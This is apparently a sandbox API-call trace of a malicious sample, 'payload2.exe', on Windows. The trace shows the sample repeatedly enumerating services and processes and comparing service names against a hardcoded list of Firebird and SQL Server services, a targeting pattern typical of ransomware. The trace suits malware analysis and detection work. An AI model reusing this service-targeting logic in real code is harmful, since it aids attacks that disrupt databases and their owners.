	[0167.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0167.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0167.276] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0167.276] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0167.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0167.276] lstrlenW (lpString="SamSs") returned 5
	[0167.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0167.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0167.276] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0167.276] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0167.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0167.276] lstrlenW (lpString="Schedule") returned 8
	[0167.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0167.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0167.276] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0167.276] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0167.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0167.276] lstrlenW (lpString="SecurityHealthService") returned 21
	[0167.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0167.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0167.276] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0167.276] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0167.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0167.276] lstrlenW (lpString="SENS") returned 4
	[0167.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0167.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0167.276] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0167.277] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0167.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0167.277] lstrlenW (lpString="ShellHWDetection") returned 16
	[0167.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0167.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0167.277] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0167.277] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0167.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0167.277] lstrlenW (lpString="Spooler") returned 7
	[0167.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0167.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0167.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0167.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0167.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0167.277] lstrlenW (lpString="StateRepository") returned 15
	[0167.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0167.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0167.277] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0167.277] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0167.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0167.277] lstrlenW (lpString="SysMain") returned 7
	[0167.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0167.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0167.277] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0167.277] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0167.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0167.277] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0167.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0167.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0167.278] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0167.278] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0167.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0167.278] lstrlenW (lpString="Themes") returned 6
	[0167.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0167.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0167.278] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0167.278] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0167.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0167.278] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0167.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0167.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0167.278] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0167.278] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0167.279] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e8a9c8 | out: hHeap=0x610000) returned 1
	[0167.279] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370
	[0167.286] Process32FirstW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0167.287] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0167.287] lstrlenW (lpString="System") returned 6
	[0167.287] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0167.288] lstrlenW (lpString="smss.exe") returned 8
	[0167.288] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0167.288] lstrlenW (lpString="csrss.exe") returned 9
	[0167.288] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0167.289] lstrlenW (lpString="wininit.exe") returned 11
	[0167.289] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0167.289] lstrlenW (lpString="csrss.exe") returned 9
	[0167.289] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0167.289] lstrlenW (lpString="winlogon.exe") returned 12
	[0167.290] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0167.290] lstrlenW (lpString="services.exe") returned 12
	[0167.290] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0167.290] lstrlenW (lpString="lsass.exe") returned 9
	[0167.290] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0167.291] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0167.291] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0167.291] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0167.291] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.292] lstrlenW (lpString="svchost.exe") returned 11
	[0167.292] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.292] lstrlenW (lpString="svchost.exe") returned 11
	[0167.292] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0167.292] lstrlenW (lpString="dwm.exe") returned 7
	[0167.293] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.293] lstrlenW (lpString="svchost.exe") returned 11
	[0167.293] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.293] lstrlenW (lpString="svchost.exe") returned 11
	[0167.293] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.294] lstrlenW (lpString="svchost.exe") returned 11
	[0167.294] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.294] lstrlenW (lpString="svchost.exe") returned 11
	[0167.294] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.295] lstrlenW (lpString="svchost.exe") returned 11
	[0167.295] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.295] lstrlenW (lpString="svchost.exe") returned 11
	[0167.295] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.296] lstrlenW (lpString="svchost.exe") returned 11
	[0167.296] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.296] lstrlenW (lpString="svchost.exe") returned 11
	[0167.296] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.296] lstrlenW (lpString="svchost.exe") returned 11
	[0167.296] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.297] lstrlenW (lpString="svchost.exe") returned 11
	[0167.297] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0167.297] lstrlenW (lpString="spoolsv.exe") returned 11
	[0167.297] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.298] lstrlenW (lpString="svchost.exe") returned 11
	[0167.298] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0167.298] lstrlenW (lpString="audiodg.exe") returned 11
	[0167.298] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0167.299] lstrlenW (lpString="sihost.exe") returned 10
	[0167.299] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.299] lstrlenW (lpString="svchost.exe") returned 11
	[0167.299] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0167.299] lstrlenW (lpString="taskhostw.exe") returned 13
	[0167.300] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0167.300] lstrlenW (lpString="msoia.exe") returned 9
	[0167.300] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0167.300] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0167.300] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0167.301] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0167.301] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0167.301] lstrlenW (lpString="Memory Compression") returned 18
	[0167.301] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0167.302] lstrlenW (lpString="explorer.exe") returned 12
	[0167.302] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0167.302] lstrlenW (lpString="SearchUI.exe") returned 12
	[0167.302] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0167.303] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0167.303] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0167.303] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0167.303] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0167.303] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0167.303] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0167.304] lstrlenW (lpString="payload2.exe") returned 12
	[0167.304] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0167.304] lstrlenW (lpString="cmd.exe") returned 7
	[0167.304] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0167.305] lstrlenW (lpString="conhost.exe") returned 11
	[0167.305] Process32NextW (in: hSnapshot=0x370, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0167.305] CloseHandle (hObject=0x370) returned 1
	[0167.305] Sleep (dwMilliseconds=0x1f4) 
	[0168.002] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4415600
	[0168.003] EnumServicesStatusExW (in: hSCManager=0x4415600, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0168.003] GetLastError () returned 0xea
	[0168.003] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bbc) returned 0x44378b8
	[0168.003] EnumServicesStatusExW (in: hSCManager=0x4415600, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x44378b8, cbBufSize=0x1bbc, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x44378b8, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0168.004] CloseServiceHandle (hSCObject=0x4415600) returned 1
	[0168.004] lstrlenW (lpString="AppXSvc") returned 7
	[0168.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0168.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0168.004] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0168.004] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0168.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0168.005] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0168.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0168.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0168.005] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0168.005] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0168.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0168.005] lstrlenW (lpString="Audiosrv") returned 8
	[0168.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0168.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0168.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0168.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0168.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0168.005] lstrlenW (lpString="BFE") returned 3
	[0168.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0168.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0168.005] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0168.005] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0168.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0168.005] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0168.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0168.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0168.005] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0168.005] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0168.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0168.005] lstrlenW (lpString="CDPSvc") returned 6
	[0168.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0168.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0168.005] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0168.005] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0168.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0168.006] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0168.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0168.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0168.006] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0168.006] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0168.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
